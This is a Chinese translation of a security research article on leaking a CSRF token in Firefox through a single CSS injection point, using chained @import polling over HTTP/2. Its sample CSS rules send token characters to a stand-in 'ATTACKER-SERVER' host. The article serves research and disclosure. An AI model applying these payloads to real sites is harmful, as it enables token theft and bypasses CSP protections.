Firefox中单一注入点上的CSS数据泄露
zoemur**** WEB安全 7277浏览 · 2020-03-16 01:50

原文:CSS data exfiltration in Firefox via a single injection point

作者:Michał Bentkowski

几个月之前我在Firefox中发现了一个安全问题CVE-2019-17016。在分析该问题时,我想到一个在Firefox中通过CSS的单一注入点引发数据泄露的新技术。下面我将在这篇文章中与大家分享。

基础以及现有技术

为了便于举例,假设我们想要泄露<input>元素中的CSRF令牌。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

由于CSP的缘故,我们不能使用脚本,所以要想其他方法解决样式注入的问题。传统的方法是使用属性选择器,例如:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}

input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}

...

input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

按照CSS的应用规则,攻击者的服务器会收到一个HTTP请求,从而泄露令牌的第一个字符。之后要准备另一个包含第一个已知字符的样式表。例如:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}

input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}

...

input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常我们会假设,需要通过重新加载<iframe>中加载的页面来提供后续的样式表。

Pepe Vila于2018年提出了一个了不起的概念,通过滥用CSS递归导入,我们可以用单一注入点在Chrome中实现相同的效果。Nathanial Lattimer(@d0nutptr)在2019年再次发现了这一技巧,但是略有不同。我会在下面总结Lattimer的方法,因为这个方法和我提出的Firefox中的方法十分接近,尽管(十分有趣地)在此之前我并不了解Lattimer的研究。所以也可以说,我再再次的发现了……

简而言之,第一次注入是一连串的导入(import):

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

接下来想法如下:

  • 最开始,只有第一个@import返回一个样式表,其他的直接阻塞连接;

  • 第一个@import返回一个泄露了令牌第一个字符的样式表;

  • 当第一个泄露的字符到达ATTACKER-SERVER时,第二个@import将停止阻塞并返回一个包含第一个字符的样式表,同时尝试泄露第二个字符;

  • 当第二个泄露的字符到达ATTACKER-SERVER时,第三个@import将停止阻塞……依此类推。

这个方法之所以有效是因为Chrome进程异步处理导入,所以当任一导入停止阻塞时,Chrome会立即对其进行解析并应用。

Firefox以及样式表处理

上面的方法在Firefox中完全无法使用,因为Firefox对样式表的处理和Chrome不同。下面我会通过几个例子予以解释。

首先,Firefox同步处理样式表。所以如果样式表中存在多个导入,在所有导入处理完之前,Firefox不会应用任何CSS规则。考虑下面的例子:

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

假设第一个@import返回的CSS规则会把背景设置为蓝色,与此同时下一个导入被阻塞(即其不返回任何内容,HTTP连接被挂起)。Chrome中,页面会立即变为蓝色,而Firefox中,什么都不会发生。

可以通过将所有导入放在单独的<style>元素中来避免该问题:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

在上面的例子中,Firefox会分别处理各样式表,所以页面会马上变成蓝色,而其他的导入仍在后台进行处理。

但是又会有另一个问题。假设我们要窃取10个字符的令牌:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox会立刻排队处理所有的10个导入。第一个导入处理完后,Firefox会排队处理另一个带有泄露字符的请求。问题在于,这个请求会放在队列的尾端,而处理器默认最多只会维持对单个服务器的6个并发连接。所以这个带有泄露字符的请求永远无法到达服务器,因为与服务器之间还存在6个被阻塞的连接,于是陷入了死锁的状态。

解决方法:HTTP/2

TCP层强制限制6个连接数量,所以到单个服务器只能有6个并发TCP连接。这时我想到,HTTP/2可能会是个解决办法。如果你还没意识到HTTP/2带来的好处,它的一个主要卖点就是你可以在单个连接上发送多个HTTP请求(即多路传输multiplexing),从而大大提高了性能。

Firefox在单个HTTP/2连接上也存在并发请求的限制,但该限制数量默认是100(在about:config的network.http.spdy.default-concurrent中定义)。如果需要更大值,我们可以强制Firefox使用其他主机名创建第二个TCP连接。例如,如果我建立100个对 https://localhost:3000 的连接以及50个对 https://127.0.0.1:3000 的连接,Firefox会创建两个TCP连接。

利用

现在我考虑好了构建一个有效利用的所有需求。下面是主要假设:

  • 利用代码会在HTTP/2上实现;
  • 端点(endpoint) /polling/:session/:index会返回一个CSS,泄露第index个字符。除非第index-1个字符已泄露,请求会被阻塞。参数session用于区分不同的泄露尝试;
  • 端点/leak/:session/:value用于泄露令牌。参数value是指被泄露的整个值,而不只是最后一个字符;
  • 为了强制Firefox建立两个TCP连接,一个端点通过 https://localhost:3000 到达,一个端点通过 https://127.0.0.1:3000 到达;
  • 端点/generate用于生成示例代码。

我创建了一个测试平台,可以在这里通过数据泄露窃取CSRF令牌。你可以通过这里直接访问该平台。

POC已经上传到Github,视频验证在这里

有趣的是,由于使用了HTTP/2,该漏洞利用的速度十分迅速,泄露整个令牌的时间不超过3秒。

总结

在这篇文章中,我证明了如果你有一个注入点并且不想重新加载页面,可以通过CSS泄露数据。该方法之所以有效归功于两个因素:

  • @import规则需要分别放到不同的样式表中,以防止后面的导入阻止整个样式表的处理;
  • 为了绕过并发TCP连接数的限制,该漏洞利用需要在HTTP/2上执行。
0 条评论
某人
表情
可输入 255